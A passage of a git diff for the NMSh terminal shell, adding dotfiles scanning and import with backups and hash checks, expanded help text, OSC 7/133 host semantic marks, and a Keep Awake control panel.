!exact.ok) { items.push({...base, kind: 'inspect', mode: 'skip', modes: ['skip'], note: `Inspect only: ${exact.reason}`}); continue; } + if (exact?.ok) { + const destination = destinationFor(file.tool, env); + let before: string | undefined; + try { before = readFileSync(destination, 'utf8'); } catch { before = undefined; } + items.push({...base, kind: 'copy', mode: 'skip', modes: ['skip', 'copy'], content, destination, destinationSha: before === undefined ? 'absent' : sha256(before), diff: shortDiff(before, content), + note: `Copy exact file to ${destination}${before === undefined ? '' : ' (the current file is backed up first)'}`}); + continue; + } + items.push({...base, kind: 'inspect', mode: 'skip', modes: ['skip'], note: file.tool.dotfilesNote ?? 'Inspect only: no reviewed import for this tool; never copied'}); + } + return items; +} + +/** The combined review text: everything that would change, and what is skipped. */ +export function reviewLines(items: readonly DotfilesItem[], include: readonly string[]): string[] { + const lines: string[] = []; + let fragments = 0; + let copies = 0; + for (const item of items) { + lines.push(`${item.file.tool.label} ${item.file.repoPath}`); + if (item.mode === 'import' && item.fields) { + const used = item.fields.filter(field => field.use); + if (used.length) fragments = 1; + for (const field of used) lines.push(` + ${describeTmuxChange(field.change)}`); + if (!used.length) lines.push(' (no values selected)'); + } else if (item.mode === 'copy' && item.kind === 'copy') { copies++; lines.push(` ~ copy to ${item.destination}`, ...item.diff!.slice(0, 6).map(line => ` ${line}`)); } + else lines.push(` · ${item.kind === 'inspect' || item.kind === 'templated' ? item.note : 'skipped'}`); + } + if (include.length) lines.push('', 'tmux.conf gains one include of the NMSh-managed tmux file:', ...include.map(line => ` ${line}`)); + lines.push('', `Files: ${fragments} managed fragment${fragments === 1 ? '' : 's'} updated · ${include.length ? 1 : 0} reviewed include · ${copies} file${copies === 1 ? '' : 's'} copied (backed up first) · 0 scripts run · the repository is not changed`); + return lines; +} + +/** Backup then atomic replace, refusing if the destination changed since review or is a symlink. */ +function copyExact(item: DotfilesItem, now: Date): string { + const destination = item.destination!; + const verdict = item.file.tool.exactCopy?.(item.content!); + if (!verdict?.ok) return 'no exact-copy authority for this tool; nothing was written.'; + if (existsSync(destination)) { + if (lstatSync(destination).isSymbolicLink()) return `${destination} is a symlink (to ${realpathSync(destination)}); not replaced.`; + if (sha256(readFileSync(destination, 'utf8')) !== item.destinationSha) return `${destination} changed since review; nothing was written.`; + copyFileSync(destination, `${destination}.nmsh-backup-${now.toISOString().replace(/[:.]/gu, '-')}`); + } else if (item.destinationSha !== 'absent') return `${destination} disappeared since review; nothing was written.`; + mkdirSync(dirname(destination), {recursive: true}); + const staged = `${destination}.nmsh-${process.pid}.tmp`; + writeFileSync(staged, item.content!, {encoding: 'utf8', mode: 0o644}); + renameSync(staged, destination); + return `copied to ${destination}`; +} + +/** Applies the reviewed choices through the tool adapters. Per-item results; one failure does not stop the others. */ +export function applyPlan(items: readonly DotfilesItem[], env: NodeJS.ProcessEnv = process.env, now = new Date()): string[] { + const results: string[] = []; + for (const item of items) { + try { + if (item.mode === 'import' && item.fields) { + let model = loadTmuxModel(env); + for (const field of item.fields.filter(choice => choice.use)) { + const next = applyTmuxChange(model, field.change); + if ('error' in next) results.push(`${item.file.tool.label}: ${next.error}`); else model = next; + } + saveTmuxModel(model, env); + const written = writeTmuxManaged(model, env); + results.push(`${item.file.tool.label}: ${written.ok ? 'supported values saved to the NMSh-managed tmux file' : written.error}`); + } else if (item.mode === 'copy') results.push(`${item.file.tool.label}: ${copyExact(item, now)}`); + } catch (error) { + results.push(`${item.file.tool.label}: ${error instanceof Error ? error.message : String(error)}`); + } + } + return results; +} + +export const homeOf = (env: NodeJS.ProcessEnv = process.env) => env.HOME || homedir(); diff --git a/src/dotfiles/scan.ts b/src/dotfiles/scan.ts new file mode 100644 index 00000000..7d1d6d98 --- /dev/null +++ b/src/dotfiles/scan.ts @@ -0,0 +1,138 @@ +import {existsSync, lstatSync, readdirSync, readFileSync, realpathSync, statSync} from 'node:fs'; +import {homedir} from 'node:os'; +import {isAbsolute, join, relative, resolve} from 'node:path'; +import {TOOL_CONFIG_REGISTRY, configLocations, type ToolConfigEntry} from '../tools/config/registry.js'; + +/** + * Dotfiles discovery: a repository is untrusted data. The scan only lists + * and reads bounded regular files; it never runs install scripts, Make + * targets, chezmoi scripts or templates, Git hooks, Stow or any shell, Lua or + * Vimscript. Recognized files are routed to the first-party tool registry. + */ + +export type SourceType = 'plain' | 'git' | 'stow' | 'chezmoi'; +export const SOURCE_LABELS: Record = {plain: 'Plain directory', git: 'Git checkout', stow: 'GNU Stow-style repository', chezmoi: 'chezmoi source state'}; + +export interface FoundFile { + /** Path inside the repository. */ + repoPath: string; + /** The home-relative path it represents (Stow package and chezmoi prefixes removed). */ + target: string; + tool: ToolConfigEntry; + /** Stow package, when the source is Stow-style. */ + package?: string; + /** chezmoi template: not literal config; reviewed with chezmoi, never rendered here. */ + templated?: boolean; + symlink?: boolean; + size: number; +} + +export interface ScanResult { + root: string; + type: SourceType; + packages: string[]; + found: FoundFile[]; + /** Scripts and generators that exist but are never run. */ + scripts: string[]; + truncated: boolean; +} + +const SKIP = new Set(['.git', 'node_modules', '.cache', '.venv', 'vendor', '__pycache__']); +const MAX_ENTRIES = 5000; +const MAX_DEPTH = 7; +export const MAX_FILE = 512 * 1024; +const SCRIPT = /(?:^|\/)(?:install|bootstrap|setup)(?:\.[a-z]+)?$|(?:^|\/)Makefile$|(?:^|\/)run_(?:once_|onchange_)?(?:before_|after_)?[^/]+$|\.(?:sh|bash|zsh|py|rb|pl|js|mjs)$/u; + +export function expandSource(input: string, cwd: string, env: NodeJS.ProcessEnv = process.env): string { + const text = input.trim(); + const home = env.HOME || homedir(); + if (text === '~' || text.startsWith('~/')) return join(home, text.slice(1)); + return isAbsolute(text) ? text : resolve(cwd, text); +} + +export const isRemoteSource = (input: string): boolean => /^(?:https:\/\/|git@|ssh:\/\/)[^\s'"]+$/u.test(input.trim()); + +/** chezmoi source names → target names (dot_, private_, executable_, readonly_ and .tmpl). */ +export function chezmoiTarget(path: string): {target: string; templated: boolean} { + let templated = false; + const segments = path.split('/').map(segment => { + let name = segment; + if (name.endsWith('.tmpl')) { templated = true; name = name.slice(0, -5); } + for (;;) { + const next = name.replace(/^(?:private_|executable_|readonly_|empty_|exact_|create_|modify_|encrypted_|symlink_)/u, ''); + if (next === name) break; + name = next; + } + return name.startsWith('dot_') ? `.${name.slice(4)}` : name; + }); + return {target: segments.join('/'), templated}; +} + +function detectType(root: string, top: string[]): {type: SourceType; packages: string[]} { + if (top.includes('.chezmoiroot') || top.some(name => /^\.chezmoi/u.test(name)) || top.some(name => /^dot_/u.test(name))) return {type: 'chezmoi', packages: []}; + // Stow: top-level package directories whose contents are home-relative (dotfiles or .config). + const packages = top.filter(name => !name.startsWith('.') && !SKIP.has(name)).filter(name => { + try { + const full = join(root, name); + return lstatSync(full).isDirectory() && readdirSync(full).some(entry => entry.startsWith('.')); + } catch { return false; } + }); + if (packages.length >= 1 && packages.length >= top.filter(name => !name.startsWith('.')).length / 2) return {type: 'stow', packages}; + return {type: top.includes('.git') ? 'git' : 'plain', packages: []}; +} + +/** Bounded listing and recognition. Nothing found is executed or followed outside the root. */ +export function scanDotfiles(root: string): ScanResult | {error: string} { + let real: string; + try { real = realpathSync(root); } catch { return {error: `${root} does not exist.`}; } + if (!statSync(real).isDirectory()) return {error: `${root} is not a directory.`}; + const top = readdirSync(real); + const {type, packages} = detectType(real, top); + const found: FoundFile[] = []; + const scripts: string[] = []; + let entries = 0; + let truncated = false; + const walk = (directory: string, depth: number) => { + if (depth > MAX_DEPTH || truncated) return; + let names: string[]; + try { names = readdirSync(directory); } catch { return; } + for (const name of names) { + if (++entries > MAX_ENTRIES) { truncated = true; return; } + if (SKIP.has(name)) continue; + const full = join(directory, name); + const repoPath = relative(real, full); + let info; + try { info = lstatSync(full); } catch { continue; } + if (info.isDirectory()) { walk(full, depth + 1); continue; } + const symlink = info.isSymbolicLink(); + if (!info.isFile() && !symlink) continue; + if (SCRIPT.test(repoPath)) { scripts.push(repoPath); } + let target = repoPath; + let templated = false; + let pkg: string | undefined; + if (type === 'stow') { const [first, ...rest] = repoPath.split('/'); if (packages.includes(first!)) { pkg = first; target = rest.join('/'); } } + if (type === 'chezmoi') ({target, templated} = chezmoiTarget(repoPath)); + const tool = TOOL_CONFIG_REGISTRY.find(entry => entry.dotfiles.test(target) || entry.dotfiles.test(repoPath)); + if (!tool) continue; + found.push({repoPath, target, tool, size: symlink ? 0 : info.size, ...(pkg ? {package: pkg} : {}), ...(templated ? {templated} : {}), ...(symlink ? {symlink} : {})}); + } + }; + walk(real, 0); + return {root: real, type, packages, found, scripts: scripts.slice(0, 50), truncated}; +} + +/** Reads one found file as text, bounded; symlinks are not dereferenced (they are shown, not trusted). */ +export function readFound(scan: ScanResult, file: FoundFile): string | {error: string} { + if (file.symlink) return {error: 'Symlink inside the repository; not followed. Review it yourself.'}; + if (file.size > MAX_FILE) return {error: 'Larger than 512 KiB; skipped.'}; + try { + const text = readFileSync(join(scan.root, file.repoPath), 'utf8'); + return text.includes('\u0000') ? {error: 'Binary file; skipped.'} : text; + } catch { return {error: 'Could not be read.'}; } +} + +/** The destination this machine uses for a tool (its first existing config location, else the first). */ +export function destinationFor(tool: ToolConfigEntry, env: NodeJS.ProcessEnv = process.env): string { + const locations = configLocations(tool, env); + return locations.find(path => existsSync(path)) ?? locations[0]!; +} diff --git a/src/help/helpContent.ts b/src/help/helpContent.ts index 58c0f41d..a1388b21 100644 --- a/src/help/helpContent.ts +++ b/src/help/helpContent.ts @@ -3,11 +3,20 @@ import {authoredMarkdown, type AuthoredMarkdown} from './markdown.js'; /** The /help page. Every input is NMSh source (command table, fixed guidance); nothing comes from the shell. */ export function helpMarkdown(): AuthoredMarkdown { - const commands = slashCommands.map(item => `| \`${item.name}\` | ${item.description} |`).join('\n'); + // Substantial surfaces by area, then everything else; aliases sit beside their command, not in a second row. + const aliasesOf = (name: string) => slashCommands.filter(item => item.alias === name).map(item => `\`${item.name}\``); + const row = (item: typeof slashCommands[number]) => `| \`${item.name}\`${aliasesOf(item.name).length ? ` (also ${aliasesOf(item.name).join(', ')})` : ''} | ${item.description} |`; + const groups = (['Appearance', 'Composer & transcript', 'Providers', 'Tools & integration'] as const).map(group => + `### ${group}\n\n| Command | What it does |\n| --- | --- |\n${slashCommands.filter(item => item.group === group && !item.alias).map(row).join('\n')}`).join('\n\n'); + const commands = slashCommands.filter(item => !item.group && !item.alias).map(row).join('\n'); return authoredMarkdown(`# NMSh help ## Commands +${groups} + +### More commands + | Command | What it does | | --- | --- | ${commands} @@ -22,7 +31,19 @@ When a submitted command is missing in your zsh and exactly names a curated tool ## Appearance -Settings → Theme family picks NMSh themes or bundled families (Catppuccin with flavor and accent, Dracula, Tokyo Night, Gruvbox, Rosé Pine, Nord, Solarized, One Dark). Themes color NMSh-owned UI only; your terminal and editor keep their colors. /theme opens Theme Studio to clone, edit, import (NMSh Theme JSON, Base16, Windows Terminal schemes) and export a custom theme. Cursor shape and blink (/cursor), the prompt symbol and the optional status strip are in Settings. UI chrome (frames, rules, tabs, selection) follows the theme by default, or a Custom preset (Native Lavender, Grayscale, your colors). Chroma colors the Native prompt; Full Chroma is the default influence, and Semantic colors decides whether success, failure and Git state are recolored too. Shimmer (On by default) plays one soft sweep of light when you select or change something, submit, or confirm; Decorative effects Off or Reduced Motion turn it off. +Settings → Theme (and /setup appearance) picks a Built-in theme (NMSh themes and bundled families: Catppuccin with flavor and accent, Dracula, Tokyo Night, Gruvbox, Rosé Pine, Nord, Solarized, One Dark), an Imported theme or a Custom theme. Themes color NMSh-owned UI only; your terminal and editor keep their colors unless you opt a tool into Theme Bridge. /theme opens Theme Studio (Built-in · Imported · Custom · Import): set any theme active, duplicate a built-in, edit, rename, duplicate, export (NMSh Theme JSON) or delete library themes, and import a local file from NMSh Theme JSON, Base16, Base24, Windows Terminal, Oh My Posh (JSON, YAML, TOML), Kitty, Ghostty, iTerm2 (.itermcolors) or WezTerm TOML. Imports are parsed as data only (nothing is executed, sourced, templated, followed or fetched), previewed with their mapping and what was lost, and saved only when you confirm; once imported a theme is an ordinary Native theme that no longer needs the source app or file. Cursor shape and blink (/cursor), the prompt symbol and the optional status strip are in Settings. UI chrome (frames, rules, tabs, selection) follows the theme by default, or a Custom preset (Native Lavender, Grayscale, your colors). Chroma colors the Native prompt; Full Chroma is the default influence, and Semantic colors decides whether success, failure and Git state are recolored too. Shimmer (On by default) plays one soft sweep of light when you select or change something, submit, or confirm; Decorative effects Off or Reduced Motion turn it off. /motion (also /appearance → Motion) sets the general motion: context transitions, command launch, completion highlight, command completion and event feedback. + +## Prompt None and history + +/prompt → None keeps only the composer and its input marker: no prompt row, modules or right prompt. Editing, suggestions, syntax colors, history, themes and Theme Bridge keep working, and commands submitted under None store no prompt snapshot. /transcript → Historical prompt shows past prompts Full, Compact (place, branch, marker), Minimal (marker) or Off; stored snapshots are never changed. + +## Theme Bridge + +/theme-bridge (also /appearance, Settings and Setup) extends NMSh themes to terminal tools. It is Off by default: one switch plus Apply themes Manual, Follow NMSh or Choose theme. Under Manual each tool is Independent (NMSh injects and changes nothing for it), Follow NMSh or Choose theme (a pinned Built-in, Imported or Custom theme). fzf colors apply only to fzf launched by NMSh (FZF_DEFAULT_OPTS and rc files are untouched). less/man colors and File listing colors (GNU ls/gls through LS_COLORS, macOS/BSD ls through CLICOLOR and LSCOLORS) reach NMSh shells (zsh, Bash, Fish) at their next prompt through an NMSh-owned environment file; Independent restores what was there. tmux, Neovim, Vim, Helix and bat get NMSh-generated themes (bat after a reviewed cache build, selected with BAT_THEME in NMSh shells); loading them in new instances needs one include line (for Helix, a theme = "nmsh-bridge" assignment) that NMSh shows exactly and adds only after you confirm, and removes exactly. Running editors are not recolored live; tmux can reload on request. delta is detected only: NMSh does not change git config. Details: [Theme Bridge](https://github.com/raiseCatError/notMyShell/blob/dev/docs/design/theme-bridge.md). + +Keep Awake (/caffeinate, also /awake and /zoomies) keeps the computer awake with the operating system's own mechanism: Apple caffeinate on macOS, the systemd inhibitor on Linux, the execution-state API on Windows. Modes are Idle, Display, System and All, optionally for a time (/zoomies display 2h, /caffeinate idle 30m); /caffeinate status shows it and /caffeinate stop ends it. It keeps running after the NMSh window closes, never changes power settings, and shows a mode as unavailable when the platform cannot honour it (Display on Linux). It runs as an NMSh-owned background process, never in your shell, so the composer comes straight back (typing caffeinate yourself stays an ordinary shell command). While it is active NMSh shows Awake · on a free composer edge (or a row next to the composer), in the Status Strip when the strip is on, and optionally on the screensaver; after 30 seconds without NMSh input it adds the time and a muted /zoomies stop. Placement, display, the idle reminder and the screensaver status are set in the Keep Awake panel. Off shows nothing. + +Prompt providers (/prompt, /providers): NMSh Native, None, Starship, Powerlevel10k and Oh My Posh. NMSh keeps the editor, composer, transcript and history; an external provider supplies only the prompt content, and NMSh falls back to Native, saying so, when it cannot render. Starship and Oh My Posh are cross-shell prompt engines that NMSh runs directly, with no shell rc change; Powerlevel10k is a Zsh theme rendered in an isolated helper. In /tools, Oh My Zsh is a Zsh framework (not a command): its guided install keeps your .zshrc and NMSh never runs the installer itself; if you have .zshrc.pre-oh-my-zsh, NMSh can compare it with .zshrc and restore it after a backup and a confirmation, but never merges shell code. Oh My Zsh themes and plugins, ~/.p10k.zsh and Oh My Posh configs are inspect-only for dotfiles. ## Idle visuals diff --git a/src/host/semanticMarks.ts b/src/host/semanticMarks.ts new file mode 100644 index 00000000..73d8b95d --- /dev/null +++ b/src/host/semanticMarks.ts @@ -0,0 +1,109 @@ +import {hostname as osHostname} from 'node:os'; +import {terminalProfile} from './capabilities.js'; + +/** + * Host semantic cooperation: OSC 7 (current directory) and OSC 133 (command + * zones), projected from NMSh's own authoritative lifecycle (the + * authenticated private OSC 777 markers). They are an enhancement for capable + * hosts and multiplexers; NMSh never reads them back or depends on them. + * + * ready (prompt) → [D;status if a command was running] OSC 7 (if cwd changed) A B + * exec (command) → C + * shell ends → D (no status: unknown) if a command was still running + * + * Markers are never written while a fullscreen program owns the terminal; + * anything due then is held and written when NMSh owns the screen again. + */ + +const ST = '\u001B\\'; + +export interface SemanticSupport { + /** OSC 133 command zones. */ + marks: boolean; + /** OSC 7 current working directory. */ + cwd: boolean; +} + +/** + * Hosts documented to understand these sequences (and multiplexers, which + * consume them for their own pane state). Unknown hosts get nothing. + * NMSH_SEMANTIC=0 turns both off; NMSH_SEMANTIC=1 forces both on. + */ +export function semanticSupport(env: NodeJS.ProcessEnv = process.env): SemanticSupport { + if (env.NMSH_SEMANTIC === '0' || env.TERM === 'dumb') return {marks: false, cwd: false}; + if (env.NMSH_SEMANTIC === '1') return {marks: true, cwd: true}; + if (env.TMUX || /^(tmux|screen)/u.test(env.TERM ?? '')) return {marks: Boolean(env.TMUX), cwd: true}; + if (env.TERM_PROGRAM === 'Apple_Terminal') return {marks: false, cwd: true}; + const profile = terminalProfile(env); + const known = profile === 'ghostty' || profile === 'kitty' || profile === 'wezterm' || profile === 'iterm2' || profile === 'windows-terminal'; + return {marks: known, cwd: known}; +} + +const UNRESERVED = /[A-Za-z0-9\-._~/]/u; + +/** `file://host/path` with every byte outside the unreserved set (and `/`) percent-encoded. */ +export function osc7(cwd: string, host = osHostname()): string | undefined { + if (!cwd.startsWith('/') || cwd.length > 4096 || /[\u0000-\u001f\u007f]/u.test(cwd)) return undefined; + const safeHost = /^[A-Za-z0-9.-]{1,253}$/u.test(host) ? host : ''; + let path = ''; + for (const byte of Buffer.from(cwd, 'utf8')) { + const character = String.fromCharCode(byte); + path += byte < 0x80 && UNRESERVED.test(character) ? character : `%${byte.toString(16).toUpperCase().padStart(2, '0')}`; + } + return `\u001B]7;file://${safeHost}${path}${ST}`; +} + +export const osc133 = (kind: 'A' | 'B' | 'C' | 'D', status?: number): string => + `\u001B]133;${kind}${kind === 'D' && status !== undefined && Number.isInteger(status) ? `;${status}` : ''}${ST}`; + +export class HostSemantics { + private zone: 'none' | 'prompt' | 'running' = 'none'; + private lastCwd?: string; + private pending = ''; + + constructor(private readonly support: SemanticSupport, private readonly write: (data: string) => void, + private readonly owned: () => boolean, private readonly host = osHostname()) {} + + get state(): 'none' | 'prompt' | 'running' { return this.zone; } + + private emit(data: string): void { + if (!data) return; + this.pending += data; + this.flush(); + } + + /** Writes anything held back once NMSh owns the screen (never mid fullscreen program). */ + flush(): void { + if (!this.pending || !this.owned()) return; + const data = this.pending; + this.pending = ''; + this.write(data); + } + + /** The shell reported readiness (OSC 777 status;cwd). */ + prompt(cwd: string, status: number): void { + let out = ''; + if (this.support.marks && this.zone === 'running') out += osc133('D', status); + if (this.support.cwd && cwd !== this.lastCwd) { + const sequence = osc7(cwd, this.host); + if (sequence) { out += sequence; this.lastCwd = cwd; } + } + if (this.support.marks) out += `${osc133('A')}${osc133('B')}`; + this.zone = 'prompt'; + this.emit(out); + } + + /** The shell reported a command about to run (OSC 777 exec). */ + exec(): void { + if (this.zone !== 'prompt') return; + this.zone = 'running'; + if (this.support.marks) this.emit(osc133('C')); + } + + /** The shell ended or was replaced: a still-open command zone is closed without inventing a status. */ + end(): void { + if (this.zone === 'running' && this.support.marks) this.emit(osc133('D')); + this.zone = 'none'; + this.lastCwd = undefined; + } +} diff --git a/src/input/inputLayout.ts b/src/input/inputLayout.ts index 90c99b92..0f1a735b 100644 --- a/src/input/inputLayout.ts +++ b/src/input/inputLayout.ts @@ -36,7 +36,9 @@ export function layoutInput( const safeCursor = Math.max(0, Math.min(glyphs.length, cursorIndex)); const width = Math.max(1, columns); const INPUT_PREFIX = firstLinePrefix ?? `${GLYPHS.prompt} `; - const rows: InputRow[] = [{prefix: width >= 2 ? INPUT_PREFIX : GLYPHS.prompt, text: '', charStart: 0, charEnd: 0}]; + // An explicitly empty prefix (Prompt None) means no marker and no continuation indent. + const bare = firstLinePrefix === ''; + const rows: InputRow[] = [{prefix: bare ? '' : width >= 2 ? INPUT_PREFIX : GLYPHS.prompt, text: '', charStart: 0, charEnd: 0}]; let rowIndex = 0; let contentWidth = 0; let caretRow = 0; @@ -51,7 +53,7 @@ export function layoutInput( const addRow = (nextCharStart: number): void => { rows[rowIndex].charEnd = nextCharStart; - rows.push({prefix: width >= 4 ? CONTINUATION_PREFIX : '', text: '', charStart: nextCharStart, charEnd: nextCharStart}); + rows.push({prefix: !bare && width >= 4 ? CONTINUATION_PREFIX : '', text: '', charStart: nextCharStart, charEnd: nextCharStart}); rowIndex += 1; contentWidth = 0; }; diff --git a/src/keepAwake/KeepAwakePanel.ts b/src/keepAwake/KeepAwakePanel.ts new file mode 100644 index 00000000..cc8cc633 --- /dev/null +++ b/src/keepAwake/KeepAwakePanel.ts @@ -0,0 +1,171 @@ +import type {Key} from '../terminal/keys.js'; +import {createConfirm, handleConfirmKey, renderConfirm, type ConfirmState} from '../ui/formControls.js'; +import {framePanel} from '../ui/PanelShell.js'; +import {renderControls} from '../ui/controls.js'; +import {foreground, UI_COLORS} from '../ui/palette.js'; +import {truncateAnsi} from '../util/text.js'; +import {colorLevel} from '../presentation/capabilities.js'; +import {AWAKE_DISPLAY_LABELS, AWAKE_DISPLAYS, AWAKE_IDLE_AFTER, AWAKE_PLACEMENT_LABELS, AWAKE_PLACEMENTS, AWAKE_SAVER_POSITION_LABELS, AWAKE_SAVER_POSITIONS, type KeepAwakePresentation} from './presentation.js'; +import {formatDuration, KEEP_AWAKE_MODES, MODE_DESCRIPTIONS, MODE_LABELS, unsupportedReason, type KeepAwakeController, type KeepAwakeMode, type StartResult} from './keepAwake.js'; + +/** The one Keep Awake surface behind /caffeinate, /awake and /zoomies. */ +export interface KeepAwakePanel { + /** Row focus: the four modes, then Duration and the presentation rows (PANEL_SETTINGS). */ + selected: number; + /** Index into PANEL_DURATIONS used when a mode starts from the panel. */ + duration?: number; + /** The slash command that opened the panel (/caffeinate, /awake or /zoomies); results are recorded under it. */ + command?: string; + message?: string; + /** A different mode is running: replacing it waits for this confirmation (default No). */ + confirm?: {state: ConfirmState; mode: KeepAwakeMode; timeoutSeconds?: number; from: KeepAwakeMode}; +} + +export function createKeepAwakePanel(controller: KeepAwakeController, message?: string): KeepAwakePanel { + const status = controller.status(); + const index = status.state === 'running' ? KEEP_AWAKE_MODES.indexOf(status.record.mode) : 0; + return {selected: Math.max(0, index), ...(message ?? (status.state === 'off' ? status.note : undefined) ? {message: message ?? (status.state === 'off' ? status.note : undefined)} : {})}; +} + +/** Panel durations; slash commands accept any strict duration (45s, 30m, 2h). */ +export const PANEL_DURATIONS: ReadonlyArray<{label: string; seconds?: number}> = [ + {label: 'Until stopped'}, {label: '30 min', seconds: 1800}, {label: '1 hour', seconds: 3600}, {label: '2 hours', seconds: 7200}, {label: '4 hours', seconds: 14_400}, +]; + +/** Rows after the modes, in panel order. Each cycles its value with ←→ or Enter. */ +export const PANEL_SETTINGS = ['duration', 'placement', 'display', 'idleReminder', 'idleAfterSeconds', 'screensaver', 'screensaverPosition'] as const; +type PanelSetting = typeof PANEL_SETTINGS[number]; +const ROW_COUNT = KEEP_AWAKE_MODES.length + PANEL_SETTINGS.length; + +const cycle = (list: readonly T[], value: T, step: number): T => list[(list.indexOf(value) + step + list.length) % list.length]!; + +/** The next presentation settings for one row change; undefined for Duration (panel-local). */ +function changeSetting(row: PanelSetting, settings: KeepAwakePresentation, step: number): KeepAwakePresentation | undefined { + switch (row) { + case 'duration': return undefined; + case 'placement': return {...settings, placement: cycle(AWAKE_PLACEMENTS, settings.placement, step)}; + case 'display': return {...settings, display: cycle(AWAKE_DISPLAYS, settings.display, step)}; + case 'idleReminder': return {...settings, idleReminder: !settings.idleReminder}; + case 'idleAfterSeconds': return {...settings, idleAfterSeconds: cycle(AWAKE_IDLE_AFTER as readonly number[], settings.idleAfterSeconds, step)}; + case 'screensaver': return {...settings, screensaver: !settings.screensaver}; + case 'screensaverPosition': return {...settings, screensaverPosition: cycle(AWAKE_SAVER_POSITIONS, settings.screensaverPosition, step)}; + } +} + +const seconds = (value: number) => value < 60 ? `${value} sec` : `${value / 60} min`; + +/** One factual sentence for a start attempt. */ +export function describeStart(result: StartResult): string { + switch (result.kind) { + case 'started': return `Keep Awake on · ${MODE_LABELS[result.record.mode]}${result.record.timeoutSeconds ? ` for ${formatDuration(result.record.timeoutSeconds)}` : ''}${result.replaced ? ` (replaced ${MODE_LABELS[result.replaced]})` : ''}. It keeps running after this window closes; /caffeinate stop ends it.`; + case 'already': return `Already running · ${MODE_LABELS[result.record.mode]}.`; + case 'needsConfirm': return `${MODE_LABELS[result.from]} is running. Change Keep Awake mode to ${MODE_LABELS[result.to]}?`; + case 'unsupported': return result.reason; + case 'failed': return result.reason; + } +} + +/** Start from the panel or a slash command; a different running mode asks first. */ +export function requestStart(panel: KeepAwakePanel, controller: KeepAwakeController, mode: KeepAwakeMode, timeoutSeconds?: number): StartResult { + const result = controller.start(mode, timeoutSeconds); + if (result.kind === 'needsConfirm') panel.confirm = {state: createConfirm(), mode, from: result.from, ...(timeoutSeconds ? {timeoutSeconds} : {})}; + panel.message = describeStart(result); + return result; +} + +/** + * What a key did. A finished action (started, already running, stopped) hands + * the composer straight back with its one-line result: the assertion runs in + * its own NMSh-owned process, so nothing here waits on it like a shell command. + * Failures and the change confirmation stay in the panel. + */ +export type KeepAwakeKeyResult = 'close' | {done: string} | {settings: KeepAwakePresentation} | undefined; + +const finished = (result: StartResult) => result.kind === 'started' || result.kind === 'already'; + +export function keepAwakeKey(panel: KeepAwakePanel, controller: KeepAwakeController, key: Key, settings?: KeepAwakePresentation): KeepAwakeKeyResult { + if (panel.confirm) { + const decision = handleConfirmKey(key, panel.confirm.state); + if (decision === 'confirm') { + const {mode, timeoutSeconds} = panel.confirm; + panel.confirm = undefined; + const result = controller.start(mode, timeoutSeconds, true); + panel.message = describeStart(result); + if (finished(result)) return {done: panel.message}; + } else if (decision === 'cancel') { panel.message = `Kept ${MODE_LABELS[panel.confirm.from]}. Nothing was changed.`; panel.confirm = undefined; } + return undefined; + } + if (key.kind === 'escape' || key.kind === 'interrupt') return 'close'; + if (key.kind === 'up' || key.kind === 'down') { panel.selected = (panel.selected + (key.kind === 'up' ? ROW_COUNT - 1 : 1)) % ROW_COUNT; return undefined; } + const row = PANEL_SETTINGS[panel.selected - KEEP_AWAKE_MODES.length]; + if (row && (key.kind === 'left' || key.kind === 'right' || key.kind === 'enter')) { + const step = key.kind === 'left' ? -1 : 1; + if (row === 'duration') { panel.duration = ((panel.duration ?? 0) + step + PANEL_DURATIONS.length) % PANEL_DURATIONS.length; return undefined; } + const next = settings && changeSetting(row, settings, step); + return next ? {settings: next} : undefined; + } + if (key.kind === 'enter' && !row) { + const result = requestStart(panel, controller, KEEP_AWAKE_MODES[panel.selected]!, PANEL_DURATIONS[panel.duration ?? 0]!.seconds); + if (finished(result)) return {done: panel.message!}; + } + else if (key.kind === 'text' && key.value.toLowerCase() === 's') return {done: controller.stop()}; + return undefined; +} + +export function statusLines(controller: KeepAwakeController, now = Date.now()): string[] { + const status = controller.status(); + const backend = controller.backend?.label ?? 'none'; + if (status.state === 'off') return ['Keep Awake', 'Off', `Backend ${backend}`, ...(status.note ? [status.note] : [])]; + const record = status.record; + const since = new Date(record.startedAt); + const elapsed = Math.max(0, Math.round((now - record.startedAt) / 1000)); + return ['Keep Awake', 'Running', `Mode ${MODE_LABELS[record.mode]}`, `Backend ${backend}`, + `Since ${String(since.getHours()).padStart(2, '0')}:${String(since.getMinutes()).padStart(2, '0')}`, `Duration ${formatDuration(Math.max(1, elapsed))}`, + ...(record.timeoutSeconds ? [`Ends after ${formatDuration(record.timeoutSeconds)}`] : []), `PID ${record.pid}`]; +} + +export function renderKeepAwakePanel(panel: KeepAwakePanel, controller: KeepAwakeController, columns: number, height: number, settings?: KeepAwakePresentation): string[] { + const primary = foreground(UI_COLORS.primary), subtle = foreground(UI_COLORS.subtle), accent = foreground(UI_COLORS.accent), reset = '\u001b[0m'; + const status = controller.status(); + const rows = [` ${primary}Keep Awake${reset} ${subtle}/caffeinate · /awake · /zoomies${reset}`, '']; + if (!controller.backend) rows.push(` ${subtle}${unsupportedReason()}${reset}`); + for (const [index, mode] of KEEP_AWAKE_MODES.entries()) { + const supported = controller.supports(mode); + const pointer = index === panel.selected ? `${accent}›${reset}` : ' '; + const running = status.state === 'running' && status.record.mode === mode ? ` ${accent}● running${reset}` : ''; + rows.push(` ${pointer} ${primary}${MODE_LABELS[mode].padEnd(8)}${reset} ${subtle}${supported ? MODE_DESCRIPTIONS[mode] : `Unavailable on ${controller.backend ? `the ${controller.backend.label}` : 'this system'}`}${reset}${running}`); + } + if (settings) { + const value = (row: PanelSetting): string => { + switch (row) { + case 'duration': return PANEL_DURATIONS[panel.duration ?? 0]!.label; + case 'placement': return AWAKE_PLACEMENT_LABELS[settings.placement]; + case 'display': return AWAKE_DISPLAY_LABELS[settings.display]; + case 'idleReminder': return settings.idleReminder ? 'On' : 'Off'; + case 'idleAfterSeconds': return seconds(settings.idleAfterSeconds); + case 'screensaver': return settings.screensaver ? 'On' : 'Off'; + case 'screensaverPosition': return AWAKE_SAVER_POSITION_LABELS[settings.screensaverPosition]; + } + }; + const LABELS: Record = {duration: 'Duration', placement: 'Placement', display: 'Display', idleReminder: 'Idle reminder', + idleAfterSeconds: 'Idle after', screensaver: 'Show status', screensaverPosition: 'Position'}; + const line = (row: PanelSetting) => { + const focused = panel.selected === KEEP_AWAKE_MODES.length + PANEL_SETTINGS.indexOf(row); + return ` ${focused ? `${accent}›${reset}` : ' '} ${primary}${LABELS[row].padEnd(15)}${reset} ${focused ? accent : subtle}${focused ? `‹ ${value(row)} ›` : value(row)}${reset}`; + }; + rows.push(line('duration'), '', ` ${subtle}Presentation${reset}`, line('placement'), line('display'), line('idleReminder'), 